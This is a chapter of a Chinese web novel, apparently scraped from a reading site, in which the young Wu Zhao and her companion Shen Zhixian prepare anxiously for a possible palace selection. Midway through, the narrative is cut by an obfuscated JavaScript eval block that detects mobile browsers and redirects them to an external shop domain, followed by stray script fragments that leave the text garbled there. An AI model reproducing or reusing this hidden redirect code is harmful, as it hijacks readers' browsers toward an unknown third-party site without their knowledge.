“应国公府,已经被报上去了。”
杨氏说完以后,屋里很久没人开口。
武照没有像前些日子那样立刻追问是谁报的、能不能不去,也没有因为“还没有正式名单”而露出轻松的神色。她只是坐在那里,手指压着裙角,心里那点从长安第一封来信时便开始积累的不安,终于有了一个足够具体的形状。以前所有事情都可以被解释成传闻、试探和旧人之间的消息往来,如今应国公府已经真正进入那张看不见的名册,区别只在于上面暂时写的是武家的门第,而不是她武照的名字。
这反而让她更不舒服。
一个人若明确告诉她“你必须做什么”,她至少知道该反驳谁;现在却没有一个具体的人站在面前,事情只是沿着某种她看不见的程序慢慢推进,先有人打听,再有人议论,然后是家书、长安来客、官员转话,最后应国公府便被报了上去。每一步似乎都没有谁真正决定她的命运,可所有步骤叠在一起,又确实在把她往一个方向推。
她沉默许久,最终只问了一句:“接下来做什么?”
这个问题终于从“为什么是我”变成了“事情已经如此,我还能做什么”。
杨氏告诉她,京中这次并非只问一家,也不是已经定下谁入宫,各处勋旧之家先被提起,再核年岁、家世和婚配情况,之后哪些人会被正式召看、哪些人只停留在名册上,现在仍没人说得准。武家能做的无非是把自己能控制的事情先处理好:年岁、家中情况、武士彟旧职都不是什么秘密,不必遮掩;宋媪继续教礼,衣裳备两身合适的,不必过分华贵;府中若有人来问,任何人不得自作聪明替武照添话。
沈知闲坐在稍后的位置,听到这里才真正看清杨氏这些日子的做法。她看似一直在被事情推着走,实际从未试图控制那些根本控制不了的东西。宫里选谁,她管不了;长安的人怎么看武家,她也管不了;但武家自己往外说什么、谁有资格代表这个家说话、女儿在真正面对那些人以前能知道多少,她一直牢牢抓在手里。
这是一种很有限的控制。
却已经是一个寡居母亲在当下能够替女儿争出来的最大余地。
武照显然也听懂了一部分,所以武元庆和族中那边该如何处理时,她没有再抢着说话。杨氏只让人告诉武元庆,应国公府确实已经被报了名字,除此之外不多说;若族中想插手,直接来找她。
从杨氏院里出来以后,武照一路没有说话。
沈知闲也没催她。
这姑娘平时的问题太多,以至于她突然安静下来时,反而显得格外明显。她走得不快,脸上也没有害怕到失态的样子,可沈知闲能感觉到,她脑子里一定比平常更吵。
走到岔路口时,武照才道:“去清竹院。”
沈知闲看了一眼天色。
还没到亥时。
按照最近的标准,甚至可以算正常工作时间。
她认命地跟了过去。
回到清竹院,武照没有像往常那样坐下来读书,而是让春枝从里面搬出一只旧木箱,蹲在地上一件件往外翻。箱中有武士彟留下的旧书、书信和一些当年从长安带回来的杂物,她翻得很快,显然也不知道自己究竟想找什么。
沈知闲看了一会儿,才问:“二娘子想找什么?”
武照的手停在一封旧信上:“宫里的东西。”
“什么算宫里的东西?”
“我不知道。”
她抬头看向沈知闲,眼神里第一次出现一种近乎恼火的茫然,“这就是问题。我可能要去一个地方,可我连进去以后谁管我都不知道。”
沈知闲原本还想开一句玩笑,听到这里却没说出口。
她终于明白武照这几日真正焦躁的是什么。
不是单纯害怕皇宫,也不是舍不得利州。
而是她从小最厌恶的事情正在以一种无法反抗的方式发生——别人可能已经开始决定她下一步去哪儿,而她对那个地方几乎一无所知。
武照不怕问题。
她怕的是自己连问题是什么都看不见。
沈知闲和她恰好相反。她也讨厌未知,却不会因为未知本身愤怒。她过去太习惯被临时塞进各种不熟悉的事情里,第一反应从来不是“为什么没人提前告诉我”,而是先确认最基本的几件事:谁负责,谁能决定,出了问题找谁,自己究竟需要承担到哪一步。
这种习惯并不能让事情消失。
但至少能让混乱变得有边界。
于是她在武照旁边坐下,把翻乱的几册书重新摆好:“那就先弄明白。”
武照抬眼:“怎么弄?”
“先看我们已经知道什么。”
两个人翻了半天,真正有用的内容并不多。武士彟的书信大多谈官场、人情和外朝事务,偶尔提到入宫觐见,也不会专门解释宫中如何运转;旧书里关于宫廷的记载则多是典章和故事,知道有哪些宫殿、哪些礼仪,却回答不了一个十三岁女孩最现实的问题——如果她明天真的走进宫门,第一晚睡在哪里,身边是谁,出了事情应该找谁。
“皇帝总不能管宫里所有人。”
武照坐在一地旧书中,声音已经平静了许多,“那一定有人替他管。”
沈知闲点头。
这是显而易见的。
一个那么大的地方,不可能只靠皇帝和几位妃嫔运转。有人管门禁,有人管衣食,有人管钱物,有人管宫女和内侍,也一定有人记录、传话、领用、赏罚。皇宫再特殊,本质上也不可能脱离组织本身的规律。
可具体叫什么、怎么分,她不知道。
她对唐朝制度的记忆远没有精确到这种程度。
两人只好请宋媪来。
宋媪听说她们想知道宫里谁管什么,第一反应便摇头。她只在长安高门做过事,从未在宫中当差,不敢乱讲,只能说自己听过的零碎消息:宫中有内侍、有宫女,也有掌衣物、饮食和器用的人;皇后若在,自有后宫尊位和相应规矩;不同身份的妃嫔住处、用度和随侍都不一样。至于新人进宫后由谁接、住在哪里、宫女如何调配,她也说不准。
武照越听越安静。
她没有再像以前那样抓着宋媪追问到底,因为她已经慢慢意识到,有些问题不是对方不愿回答,而是对方真的不知道。
这让她更加烦躁,却也迫使她第一次接受一个事实——聪明并不能直接填补信息的空白。
等宋媪走后,她坐在桌边看着那些杂乱的书,忽然低声道:“他们知道我父亲是谁,知道我多大,可能连我会不会针线都有人问过。可我如果真进去,连谁来接我都不知道。”
沈知闲没有安慰她“不会有事”。
这种话没有任何依据。
她只是铺开一张纸:“那就把不知道的先写出来。”
武照愣了一下。
沈知闲提笔,在纸上先写下“陛下”两个字,写完以后自己都觉得这张纸开局压力很大,便又根据书里能确认的内容,慢慢添上皇后、妃嫔、才人、宫女、内侍等词。很多位置都是空的,关系也极其粗糙,与其说是宫廷结构,不如说只是两个完全不了解皇宫的人,试图在一片黑暗里先画出几个能够确定的点。
可武照明显安静下来了。
她盯着那张纸,甚至主动把刚才的不满变成了问题:“如果我真的进去,第一件事应该是知道自己在哪里,然后知道谁能管我,对不对?”
“差不多。”
“再知道出了事找谁。”
“对。”
“然后呢?”
“然后先活几天再考虑别的。”
武照终于笑了一下:“你就不能想远一点?”
“二娘子,您现在连宫门朝哪边开都不知道,已经开始考虑远期规划了。”
这一笑很短,却把屋里压了许久的气氛松开了一点。
沈知闲看着她,心里也稍微放松下来。
她太熟悉这种感觉了。
事情没有变好,风险也没有减少,可只要能把一团看不见的东西写在纸上,哪怕只是列出几个问题,人就会产生一种“至少还有事情可以做”的踏实感。
武照需要的正是这个。
她无法决定宫里会不会选她,于是本能地想把“如果被选以后会发生什么”弄清楚;她无法控制长安,却可以先认识长安。
沈知闲则在做另一件事。
她一边帮武照整理,一边在心里悄悄划自己的边界。
这件事目前属于帮助武照做准备。
如果武照真的进宫,她留下。
青溪那边还有商队,胡姓采药人没有找到,父亲的线索也没有断;武家对她而言已经是一个相对稳定的地方,杨氏待她不差,郑管事也熟悉,她没有任何理由主动跟着武照进入那个更加陌生、更加危险的地方。
这个判断非常合理。
合理到她在心里又确认了一遍。
第二天,武顺看见了那张画得乱七八糟的纸。
她低头看了半天,才问:“你们这是在画什么?”
武照答得很直接:“宫里谁管谁。”
沈知闲莫名觉得这个说法听起来很像准备干什么大事,赶紧解释只是想知道进去以后大概有哪些人。武顺倒没笑,只认真看了一会儿,发现纸上全是皇帝、皇后、妃嫔、宫女之类的身份,便问她们为什么不先弄清楚更实际的东西。
“什么?”
“进去能带多少衣服,能不能带钱,身边能不能跟自己的人,若病了怎么办,能不能往家里送信。”
武照愣了一下。
沈知闲也跟着停住。
这是武顺的长处。
武照想到的是谁掌权、谁能决定自己;沈知闲想到的是职责和关系;武顺却首先想到一个女孩真正离家以后,第一天便会遇见的生活。
于是那张原本勉强算“结构图”的纸迅速变了样。
新人由谁接,住在哪里,谁管衣食,随身能带多少东西,钱如何使用,能否给家里送信,生病找谁,犯错谁罚,哪些地方不能去,哪些人不能随便见。
武照看着越来越长的问题,脸色反而比昨日好了许多。
不是因为她得到了答案。
恰恰相反,她只是终于知道自己不知道什么。
对一个极度讨厌被别人决定的人而言,这已经足够重要。
沈知闲也在这过程中察觉到,她们三个人看待同一件事的方式几乎完全不同。武照最先寻找权力——谁能决定我;武顺最先寻找生活——进去以后怎么过;而她自己最先寻找的是秩序——事情归谁、出了问题往哪里走。
三种方式没有谁更高级。
只是站的位置不同。
而如果真要在一个陌生地方活下来,似乎哪一种都少不了。
接下来的几日,武家的准备逐渐变得具体。杨氏没有大张旗鼓添置东西,只让人给武照裁了两身合适的新衣,宋媪每日过来一个时辰,除了礼节,也开始讲长安高门常见的称谓和避讳;武顺陪母亲整理首饰和可能用得上的物件。所有人嘴上仍然说“未必用得上”,动作却已经越来越像在替一场可能到来的远行收拾行李。
这种变化给武照带来的压力,反而比那些信更直接。
信可以收起来。
衣服却会一天一天做成。
她有一次从针线房外经过,看见自己的新衣已经裁出大半,站在那里看了很久。沈知闲就在她身边,知道她脑子里大概又开始转,却没有问。
过了一会儿,武照自己开口:“我觉得很奇怪。”
“哪里奇怪?”
“明明还没人说一定让我去,可所有东西都在提前变成我要去的样子。”
沈知闲看着那件尚未缝好的衣服,忽然很理解她。
真正的形势从来不只存在于公文和命令里。
有时候它先出现在一匹新裁的布上。
“因为夫人不敢等到最后一天再准备。”
“我知道。”
武照低声道,“所以我才更讨厌。”
她知道母亲没有错。
知道宋媪没有错。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944466|213682||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
甚至知道那些裁衣服的人也只是在做自己的事。
可正因为没有一个明确做错的人,她连愤怒都不知道该冲谁去。
沈知闲没有劝。
她只是陪武照站了一会儿,直到武照自己转身离开。
又过两日,武元庆亲自来了。
他的态度比上一次客气许多,说既然应国公府已经上报,若宫中真有选召,武家不能失礼,他作为兄长理应出面帮忙。杨氏没有拒绝,只让他去打听上报名册以后由谁核验、大概什么时候会有下一步消息。
武元庆显然没想到自己主动来“主持大事”,最后领到的是一件具体差事,停了一会儿才应下来。
临走以前,他还是忍不住对武照说:“若真能入宫,是武家的荣耀,你不要再像小时候那样任性。”
换作以前,武照大概已经顶了回去。
这一次她却只是看着兄长,问他知不知道宫里是谁负责这次选人,上报名册以后由谁核验。
武元庆一个也答不上来,脸色渐渐难看,只说这些自有朝廷安排,一个小娘子没必要问那么多。
武照没有继续争。
“我知道了。”
等人走远以后,沈知闲才有些意外地看她:“二娘子今天脾气很好。”
“不是。”
武照低头整理那张问题单,“只是他不知道。既然不知道,继续问也没有用。”
沈知闲看了她半天,心里竟生出一种微妙的欣慰。
至少已经开始主动终止无效沟通了。
可武照很快又道:“我只是突然觉得奇怪。很多人都说我应该去,说这是荣耀,说武家不能失礼,可他们连我去了以后会是什么样都不知道。”
这句话说完,她自己先沉默了。
沈知闲也没有回答。
因为答案已经摆在那里。
武元庆看见的是武家的荣耀,族老看见的是门第,长安的人或许看见的是一个勋旧之女,只有真正要离开母亲、离开姐姐、离开住惯了的院子,走进那座宫城的人,是武照自己。
而她直到现在,连进去以后睡在哪里都不知道。
当天傍晚,郑管事终于带回来一个比此前任何消息都明确的答复:京中这次确实先核勋旧之家出身、年岁和婚配,再由人看仪容教养;若无意外,利州这边很快会有人来,快则十余日,慢则一月。
十余日到一月。
第一次,那个原本只有方向的未来有了大致日期。
武照听完没有说话,只下意识摸了一下袖中那张已经折过许多次的问题单。沈知闲站在旁边看见这个动作,忽然觉得她们这段时间做的事情其实很可笑——两个连皇宫真正长什么样都不知道的人,在利州一间小院里试图提前研究一座帝国最复杂的宫城。
可笑归可笑。
至少武照现在不再只是等着别人来看她。
过了一会儿,她抬起头:“他们来的时候,会看我合不合适。”
“应该是。”
“那我也看他们。”
沈知闲怔了一下。
武照的声音已经恢复了平日那种带着一点锋芒的平静:“看他们是什么人,怎么说话,问什么,替谁办事。既然他们能看我,我总能看回去。”
沈知闲看着她,忽然笑了:“当然。”
武照也笑了一下。
这是她在整件事里找到的第一个真正属于自己的动作。
很小。
甚至改变不了结果。
但对武照而言,已经够了。
当夜沈知闲回到住处,阿蛮已经困得快睁不开眼,却还坚持问她二娘子是不是真的要去长安。沈知闲说还没定,阿蛮便顺势问:“那她真去了,你跟不跟?”
“不跟。”
“哦。”
阿蛮翻身准备睡。
沈知闲反而被她弄得一愣:“你不问为什么?”
“你不是说不跟吗?”
“对。”
“那还有什么好问的。”
逻辑简单得无可反驳。
沈知闲把两颗黑种子重新收好,心里也再次确认了同样的答案。
不跟。
青溪那边还有商队,胡姓采药人没有找到,父亲留下的线索才刚刚往前走;武家已经是她在这个时代好不容易建立起来的一块稳定之地,杨氏待她不差,郑管事熟悉她,阿蛮也在这里。无论从安全、生活还是继续查父亲的事情来看,留在利州都比跟着武照进宫合理得多。
更何况那是皇宫。
她上辈子进一个临时专班都能连续加班四十七天,如果这个时代真有什么地方称得上“大型组织高压核心区”,皇宫大概排不到第二。
她没有任何主动进去的理由。
这个结论如此清楚,以至于沈知闲很安心地吹灭了灯。
黑暗里,阿蛮却又迷迷糊糊说了一句:“不过二娘子真走了,你肯定会想她。”
“睡觉。”
“你会。”
“明天厨房如果有栗糕,我那份不给你。”
对面立刻安静。
威慑效果极佳。
沈知闲闭上眼,觉得今天的问题已经全部处理完毕。
至少她自己那部分是。
第二日上午,武家门外来了一骑。
不是商队,也不是族亲。
来人穿着利州官府的衣服,带着一封正式公文。郑管事接过以后只看了几眼,便立刻去了杨氏院中。
不到半刻钟,春枝快步走进清竹院。
她的脸色与过去任何一次传信都不同。
“二娘子,夫人让您过去。”
武照正在看那张已经被她折出细痕的问题单,闻言慢慢抬起头。
春枝停了一下。
“官府来文了。”
武照的手指没有动。
沈知闲却看见,她捏着纸页的指节一点点泛了白。
此前所有人都还可以说只是准备。
现在,真正的东西终于来了。